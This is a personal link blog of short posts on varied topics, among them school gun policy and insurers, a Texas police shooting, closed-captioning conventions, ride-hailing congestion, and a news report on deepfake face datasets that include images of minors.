Thank you Dave for nominating me as someone building community in the Power of Ten exhibit. Having a fun event and great conversations this evening at the Petaluma Arts Center!

[ related topics: Photography Community ]

Golly, it's almost like insurance companies don't think armed teachers would make schools safer...

No school insurance for teachers with guns. Kansas lets teachers concealed carry in schools (with strict restrictions), insurers say "aw hell no!":

EMC, which Zalaznik estimated insures about 90 percent of Kansas’ 286 school districts, has issued a letter to its agents around the state, explaining that concealed carry would pose too great a risk.

[ related topics: Children and growing up Current Events Guns ]

I totally agree with the NRA... of 1999, when Wayne LaPierre said https://twitter.com/RobertMaguire_/status/967611173876240385 :

"We believe in absolutely gun free zero-tolerance totally safe schools. That means no guns in America's schools, period, with the rare exception of law enforcement officers or trained security personnel. We believe America's schools should be safe as America's airports. You can't talk about, much less take, bombs, guns on to airplanes, such behavior in our schools should be prosecuted just as certainly as such behavior in our airports is prosecuted."

[ related topics: Children and growing up Aviation Bay Area Law Enforcement Guns ]

Texas police shoot man who disarmed possible church shooter. No knock on the cops, they came into a potential church shooting, saw someone holding a gun, and acted.

The shooting happened shortly after 9 a.m. Feb. 14 at the Faith City Mission, a faith-based outreach organization. Police said Joshua Len Jones, 35, of Amarillo, barged into a church building at Faith City Mission, pulled out a gun and was holding about 100 congregants and church staff hostage.

Amarillo man accidentally shot by police speaks out about the shooting:

“I said ‘hey, hey I got the gun,’” said Garces. “'I took the gun away from him.' … They (the police) said throw it down. I wasn't going to throw it down because it could have fired. It had bullets in it, you know. I didn't want anyone else getting hurt. … Then pop, pop they shot me. … I went down, then a puddle of blood. … I thought I was a goner."

[ related topics: Religion Current Events Law Enforcement Guns Woodworking ]

WGBH: Suggested Styles and Conventions for Closed Captioning.

Related: Gaupol - Python+GTK software for creating captions

[ related topics: Software Engineering Monty Python Python ]

Buttpluggin With qDot - Will It Buttplug - Rez Infinite (with Original Rez TranceVibrator!) (YouTube video)

... as we all know, games can only be art if they are erotic.

Hooking up games to sex toy controllers.

[ related topics: Interactive Drama Erotic Games Sexual Culture Movies Art & Culture Video ]

Studies are increasingly clear: Uber and Lyft congest cities

And if you think Uber and Lyft are increasing vehicle miles traveled, just wait 'til we get self-driving cars and other autonomous vehicles.

[ related topics: Interactive Drama ]

Aaaargh! Of *course* Meetup and Facebook have exactly the opposite behavior with "shift+enter". And both of them are evil.

NPR: Same-Sex-Marriage Flashpoint: Alabama Considers Quitting The Marriage Business.

[ related topics: Erotic Sexual Culture Sociology Marriage ]

A simpler time. Damn, we were young once. Mena Trott: How blogs are building a friendlier world (YouTube TED talk)

[ related topics: Movies ]

The "saggy pants" they wish to ban covers the exact same amount of skin as 2000+ other trousers not banned.

In case you haven't seen it, this is riffing on Marco Rubio's tweet about "assault rifles". Which... I think there's room for nuance on interpreting the 2nd Amendment, but my first reaction on a lot of this has been that the pistol grip on the rifle is exactly the sort of cosmetic affect that the mall cop wannabes that we'd really like to keep from having firearms are going for. And thinking about the classist assumptions inherent in my beliefs, I'm also thinking about how the difference between those two pictures isn't the amount of skin showing, but the color of it...

[ related topics: Photography Law Clothing ]

Fake Porn Makers Are Worried About Accidentally Making Child Porn — Images of celebrities as minors are showing up in datasets used in making AI-generated fake porn.

This collection of images, or faceset, is used to train a machine learning algorithm to make a deepfake: a fake porn video that swaps Watson’s face onto a porn performer’s body, to make it look like she’s having sex on video. If someone uses the faceset that contains images of Watson as a child to make a deepfake, that means that a face of a minor was in part used to create a nonconsensual porn video.

(Leaving aside all of the IP questions inherent in using someone's likeness for an application they didn't license it for, and how protectable that likeness is, and...)

[ related topics: Erotic Sexual Culture Artificial Intelligence ]

Off-duty Baton Rouge police officer driving 94 miles an hour hits another vehicle, killing 1 year old. Mother, who was in a third vehicle, is arrested for failing to properly adjust the straps on the child seat the 1 year old was riding in.

[ related topics: Current Events Law Enforcement Bicycling ]

Remember when CS stood for Computer Science, and not Customer Service? "Get into CS", they told me, "it's a good paying field..."

Just so y'all don't have to click through the linkbait articles to get straight to the YouTube: I Heard it Round and Round the Grapevine. RATT's Round and Round mashed up with Marvin Gaye.

[ related topics: Movies ]

Bummed: Likely that the Sonic work in my neighborhood is for a line to Grant school, not for residential service.

[ related topics: Children and growing up Work, productivity and environment ]